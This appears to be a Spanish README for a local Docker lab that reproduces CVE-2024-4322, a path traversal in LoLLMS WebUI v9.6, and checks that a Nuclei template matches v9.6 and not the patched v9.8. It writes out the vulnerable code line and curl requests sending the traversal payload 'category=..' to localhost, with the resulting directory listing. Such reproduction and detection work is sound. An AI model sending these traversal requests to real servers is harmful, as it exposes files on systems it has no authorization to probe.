
POC_CVE-2024-4322
Este repositorio proporciona laboratorios locales Dockerizados para reproducir CVE-2024-4322, una vulnerabilidad de path traversal en LoLLMS WebUI v9.6, y para validar que la plantilla de Nuclei asociada no coincide con LoLLMS WebUI v9.8.
Usa este laboratorio solo contra objetivos locales, propios o explícitamente autorizados.
El endpoint /list_personalities en LoLLMS WebUI v9.6 es vulnerable a path
traversal. El parámetro category controlado por el usuario se añade a
personalities_zoo_path sin saneamiento:
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
Al enviar category=.., la solicitud puede escapar del directorio de
personalidades previsto y listar el contenido de un directorio padre.
Señal esperada de la vulnerabilidad:
category= -> []
category=.. -> response contains "personalities_zoo"
El comportamiento corregido en v9.8 rechaza la entrada de traversal antes del listado de directorios.
| Entorno | Versión | Servicio | URL del host | Resultado esperado de la plantilla |
|---|---|---|---|---|
| Linux vulnerable | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | coincidencia |
| Linux parcheado | v9.8 | linux-patched-server | http://127.0.0.1:9602 | sin coincidencia |
| Windows vulnerable | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | coincidencia |
| Windows parcheado | v9.8 | windows-patched-server | http://127.0.0.1:9603 | sin coincidencia |
Ejecuta todos los comandos desde el directorio que contiene este README.
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
Espera hasta ver:
Uvicorn running on http://0.0.0.0:9600
Presiona Ctrl-C para dejar de seguir los registros. El contenedor sigue ejecutándose.
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
Resultado esperado:
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
El orden puede variar. La señal importante es que la respuesta al traversal
difiere de la respuesta de control y contiene personalities_zoo.
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
Resultado esperado:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
Espera hasta ver:
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
Resultado esperado:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
Resultado esperado:
[INF] Scan completed ... 0 matches found.

Esto requiere Docker Desktop en modo contenedores de Windows. Ejecuta los comandos siguientes desde este directorio en PowerShell.
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
Espera hasta ver:
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
Resultado esperado:
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
El orden puede variar. La señal importante es que la respuesta al traversal
difiere de la respuesta de control y contiene personalities_zoo.
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
Resultado esperado:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Esto requiere Docker Desktop en modo contenedores de Windows. Ejecuta los comandos siguientes desde este directorio en PowerShell.
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
Espera hasta ver:
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
Resultado esperado:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
Resultado esperado:
[INF] Scan completed ... 0 matches found.

Contenedores Linux:
docker compose --profile patched down --rmi local
Contenedores Windows:
docker compose --profile windows down
curl.jq para los ejemplos HTTP del Linux vulnerable.Si jq no está disponible en el host Linux, usa el contenedor analyst:
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
Si Nuclei no está instalado en Windows, descarga el binario de la versión para
Windows desde https://github.com/projectdiscovery/nuclei/releases, descomprímelo
y ejecuta nuclei.exe directamente desde el directorio extraído.
Los Dockerfiles parchean los instaladores históricos durante la compilación para que el laboratorio sea reproducible hoy:
v9.6 de lollms-webui.v9.8 de lollms-webui.lollms_core se reescribe a https://github.com/ParisNeo/lollms_legacy.git porque el historial antiguo del código fuente se movió allí.v9.6 es e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, y v9.8 es
8a8e3a1c386321f641a014bf8f7029512ccad411.